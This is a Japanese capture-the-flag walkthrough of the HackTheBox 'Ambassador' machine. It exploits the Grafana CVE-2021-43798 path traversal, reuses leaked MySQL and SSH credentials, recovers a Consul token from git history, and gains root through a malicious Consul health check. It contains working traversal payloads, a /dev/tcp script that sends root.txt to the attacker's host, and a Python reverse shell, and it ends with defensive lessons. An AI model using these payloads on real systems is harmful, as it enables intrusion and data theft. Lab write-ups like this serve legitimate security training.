HackTheBox: Ambassador — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3000/grafana, 3306/mysql
→
22/ssh, 80/http, 3000/grafana, 3306/mysql
CVE-2021-43798
Grafana ディレクトリトラバーサル LFI
→
Grafana ディレクトリトラバーサル LFI
grafana.ini / mysql.yaml
admin & MySQL 平文資格情報
→
admin & MySQL 平文資格情報
whackywidget.users
developer の base64 パスワード
→
developer の base64 パスワード
SSH developer
user.txt ✓
→
user.txt ✓
Git 履歴
tidy前コミットにConsulトークン残存
→
tidy前コミットにConsulトークン残存
enable_script_checks=true
config.d書込可 → 悪性ヘルスチェック
→
config.d書込可 → 悪性ヘルスチェック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.228.56
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: Hugo 0.94.2 |_http-title: Ambassador Development Server 3000/tcp open ppp? | fingerprint-strings: | GetRequest: HTTP/1.0 302 Found ... Location: /login 3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
ℹ️
3000/tcp は nmap のフィンガープリントでは正体不明(“ppp?”)だが、レスポンスの
Location: /login から Web アプリと推測できる。実際に HTTP でアクセスすると
Grafana であることが判明する。
ポート80: Ambassador Development Server (Hugo静的サイト)
BASH
echo "10.129.228.56 ambassador.htb" | sudo tee -a /etc/hosts curl -s http://ambassador.htb/ | grep -A3 "Recent Posts"
RESULT
Welcome to the Ambassador Development Server Hi there! This server exists to provide developers at Ambassador with a standalone development environment. When you start as a developer at Ambassador, you will be assigned a development server of your own to use. Connecting to this machine Use the developer account to SSH, DevOps will give you the password.
ℹ️
developer という SSH アカウントの存在が明示されている。パスワードは
「DevOpsが渡す」とあり、後続の Grafana/MySQL 経路で実際に発見することになる。
ポート3000: Grafana v8.2.0 の確認
BASH
curl -s http://ambassador.htb:3000/api/health
RESULT
{"commit":"...","database":"ok","version":"8.2.0"}
🚨
Grafana 8.2.0 は CVE-2021-43798(ディレクトリトラバーサル & 任意ファイル読み取り)
に該当する既知の脆弱バージョン。
PHASE 2
CVE-2021-43798 — Grafana ディレクトリトラバーサル LFI
/etc/passwd での脆弱性確認
BASH
curl --path-as-is \ "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
⚠️
--path-as-is フラグが必須。指定しないと curl 自身が URL 中の ../ を
正規化(圧縮)してしまい、パストラバーサルペイロードが無効化される。任意のプラグイン名
(この例では alertlist)を経由し、十分な数の ../ でファイルシステム
ルートまで遡ってから絶対パスを付与する。
grafana.ini から admin パスワードを窃取
BASH
curl --path-as-is \ "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini" \ | grep admin_password
RESULT
admin_password = messageInABottle685427
Grafana admin 資格情報
admin : messageInABottle685427
provisioning/datasources/mysql.yaml から MySQL 資格情報を窃取
NOTE
Grafana へ admin としてログインすると Configuration → Data sources に "mysql.yaml" という provisioned データソースが1件登録されているのが見える。 Grafana は provisioning 設定を /etc/grafana/provisioning/datasources/ 配下の YAML ファイルから読み込む仕様のため、同じ LFI でそのファイルを直接読む。
BASH
curl --path-as-is \ "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml"
RESULT
apiVersion: 1 datasources: - name: mysql.yaml type: mysql host: localhost database: grafana user: grafana password: dontStandSoCloseToMe63221! editable: false
PHASE 3
MySQL 資格情報の連鎖 & user.txt 取得
MySQL への接続と whackywidget DB の発見
BASH
# Kali の MariaDB クライアントは自己署名証明書のTLSネゴシエーションで # 失敗することがあるため --skip-ssl を付与するとよい mysql -u grafana -p'dontStandSoCloseToMe63221!' -h ambassador.htb --skip-ssl \ -e "SHOW DATABASES;"
RESULT
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
ℹ️
既定の DB 群に混じる
whackywidget という独自命名の DB が目を引く
(社内システム/アプリ用と推測できる)。
users テーブルから developer のパスワードを取得
BASH
mysql -u grafana -p'dontStandSoCloseToMe63221!' -h ambassador.htb --skip-ssl \ -N -B -e "SELECT pass FROM whackywidget.users WHERE user='developer';"
RESULT
YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==
BASH
echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
RESULT
anEnglishManInNewYork027468
SSH ログイン & user.txt 取得
BASH
ssh developer@ambassador.htb # パスワード: anEnglishManInNewYork027468 developer@ambassador:~$ id developer@ambassador:~$ cat user.txt
RESULT
uid=1000(developer) gid=1000(developer) groups=1000(developer)
0b19ba5eb6d7f5581ee81483ad16c77d
user.txt — developer
0b19ba5eb6d7f5581ee81483ad16c77d
PHASE 4
Git 履歴から漏洩する Consul ACL トークン
/opt/my-app の調査 — Consulを参照するスクリプト発見
BASH
developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh
RESULT
# We use Consul for application config in production, this script will help set the correct values for the app # Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
ℹ️
現在のバージョンには
CONSUL_HTTP_TOKEN の実値がなく環境変数として渡す想定になっている。
/opt/my-app は Git 管理下(.git ディレクトリあり)であるため、
コミット履歴に過去のトークンが残っていないか確認する。
git log でコミット履歴を確認
BASH
developer@ambassador:/opt/my-app$ git log
RESULT
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
.gitignore
🚨
最新コミットのメッセージ「tidy config script」は「整理した(=何かを削除・整形した)」
ことを示唆する。1つ前の「config script」コミットに、整理される前の(トークン付き)版が
残っている可能性が高い。
過去コミットへチェックアウトしてトークンを復元
BASH
# developer は /opt 配下に書き込めないため /tmp にコピーしてから操作する cp -R /opt/my-app/ /tmp/ cd /tmp/my-app/ git checkout c982db8eff6f10f8f3a7d802f79f2705e7a21b55 cat whackywidget/put-config-in-consul.sh
RESULT
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD before running
consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
Consul ACL HTTP トークン (Git履歴から復元)
bb03b43b-1d81-d62b-24b5-39540ee469b5
PHASE 5
Consul の設定ミス調査 & トークン検証
root権限で動くConsulエージェントの設定確認
BASH
ps aux | grep consul cat /etc/consul.d/consul.hcl ls -ld /etc/consul.d/config.d/
RESULT
root 1093 ... /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl acl { enabled = true default_policy = "deny" down_policy = "extend-cache" } enable_script_checks = true drwx-wx--- 2 root developer 4096 ... /etc/consul.d/config.d/
🚨
3つの条件が揃っている:①Consul エージェントが root で稼働、②
enable_script_checks = true(ヘルスチェック定義内で任意コマンドの実行を許可する設定)、
③ /etc/consul.d/config.d/ が developer グループに書き込み可能。
ACLが有効(default_policy = deny)でも、Phase 4 で得た正当なトークンがあれば
API 経由でリロードを指示できる。
トークンの動作確認
BASH
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5 consul kv put test hello consul kv get test
RESULT
hello
✅
トークンが有効であることを確認。次にこのトークンで
enable_script_checks を悪用する。
PHASE 6
悪性ヘルスチェック定義の設置 → root.txt
悪性ヘルスチェック .hcl の作成
NOTE
Consul のヘルスチェック定義(.hcl)は "args" フィールドに任意のコマンド配列を 指定できる。/etc/consul.d/config.d/ に新しい .hcl を置き consul reload すれば、 root権限のConsulエージェントがそのコマンドを実行してくれる。
BASH
cat > /etc/consul.d/config.d/pwn.hcl << 'EOF'
enable_script_checks = true
check = {
id = "pwn"
args = ["/usr/bin/bash", "/tmp/exfil.sh"]
interval = "10s"
}
EOF
⚠️
ハマりどころ:
interval を短く(例:10秒)設定すると、Consul が
ヘルスチェックの実行に許容する時間も短くなり、対話的なリバースシェルを張って
後から追加コマンドを送る方式だと、次のコマンドを送信する前にプロセスが強制終了され
接続が切断されることを確認した(root プロンプトと打ち込んだコマンドの一部だけが
エコーバックされ、実際の出力が届く前に接続が切れる)。安定して結果を得るには、
接続確立と同時に必要な情報を一方向で送りつけて即座に終了するワンショット方式
にするか、interval を60秒以上に長く取るとよい。
ワンショット exfil スクリプトの配置
BASH
cat > /tmp/exfil.sh << 'EOF' #!/bin/bash exec 3<>/dev/tcp/10.10.15.201/19031 cat /root/root.txt >&3 2>/dev/null exec 3<&- EOF chmod +x /tmp/exfil.sh
BASH (Kali側: リスナー)
nc -nvlp 19031
consul reload の実行
BASH
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5 consul reload
RESULT
Configuration reload triggered
RESULT (nc リスナー側、数秒後)
listening on [any] 19031 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.56] ...
165971fe50b2246abefb6fdfe0eb4749
✅
Consul エージェントがヘルスチェックとして root 権限でスクリプトを実行し、
root.txt の内容がそのまま Kali のリスナーへ届いた。
root.txt — root
165971fe50b2246abefb6fdfe0eb4749
(参考) 対話的リバースシェルでの検証
NOTE
interval を長め(60秒)に設定した場合は、以下のような対話的な Python リバースシェルでも 問題なく動作し、cat /root/root.txt 等を自由に実行できる:
BASH (args に指定するペイロード例)
#!/bin/bash
export RHOST="10.10.15.201";export RPORT=4444;python3 -c \
'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
RESULT
nc -nvlp 4444
listening on [any] 4444 ...
connect to [...] from (UNKNOWN) [...] ...
# id
uid=0(root) gid=0(root) groups=0(root)
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — developer
0b19ba5eb6d7f5581ee81483ad16c77d
root.txt — root
165971fe50b2246abefb6fdfe0eb4749
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2021-43798 | Grafana 8.2.0 (3000/tcp) | 任意ファイル読み取り | Critical | /public/plugins/<plugin>/../../../../etc/<file>形式のパストラバーサルでgrafana.ini・provisioning設定を窃取 |
| 平文資格情報の保存 | grafana.ini / mysql.yaml / whackywidget.users | 横展開用資格情報の連鎖漏洩 | Medium | 設定ファイル・DBに平文/base64のみで資格情報が保存されていた |
| Git履歴への機密情報混入 | /opt/my-app (.git) | 削除済みはずの認証トークンの復元 | Medium | "tidy"コミットで削除される前の"config script"コミットにConsulトークンが残存 |
| Consul enable_script_checks 設定ミス | root権限で動くConsulエージェント | root権限での任意コード実行 | High | developerグループ書込可能なconfig.dへ悪性ヘルスチェック(.hcl)を設置しreload |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + Hugo静的サイト閲覧 | 22/80/3000/3306、Grafana 8.2.0検出、developerアカウントの存在 |
| 2 | Grafana LFI | CVE-2021-43798 パストラバーサル | admin資格情報 + MySQL資格情報 |
| 3 | MySQL探索 | whackywidget.users テーブルダンプ + base64デコード | user.txt(developer) |
| 4 | Git履歴調査 | git log + 過去コミットへのcheckout | Consul ACL HTTPトークン |
| 5 | Consul調査 | 設定ファイル確認 + トークン動作検証 | enable_script_checks設定ミスの確認 |
| 6 | 権限昇格 | 悪性ヘルスチェック定義 + consul reload | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 古いバージョンのGrafana(8.2.0)に既知のディレクトリトラバーサル脆弱性が存在 | Grafanaを速やかに最新版へアップデートし、脆弱性情報を継続的に監視する。 |
| 設定ファイル・データベースに資格情報が平文/軽度な難読化(base64)のみで保存されている | シークレット管理システム(Vault等)を利用し、設定ファイルやDBに平文の資格情報を残さない。 |
| 削除したつもりの機密情報がGitコミット履歴に残存する | 機密情報が誤ってコミットされた場合は`git filter-repo`等で履歴自体から完全に除去する。単に新しいコミットで削除しただけでは復元可能。 |
Consul の enable_script_checks が有効かつ設定ディレクトリが非rootで書込可能 |
enable_script_checksは極力使用しない(代替: enable_local_script_checksで更に制限)。
rootで動くサービスの設定ディレクトリの書込権限は最小限にする。 |

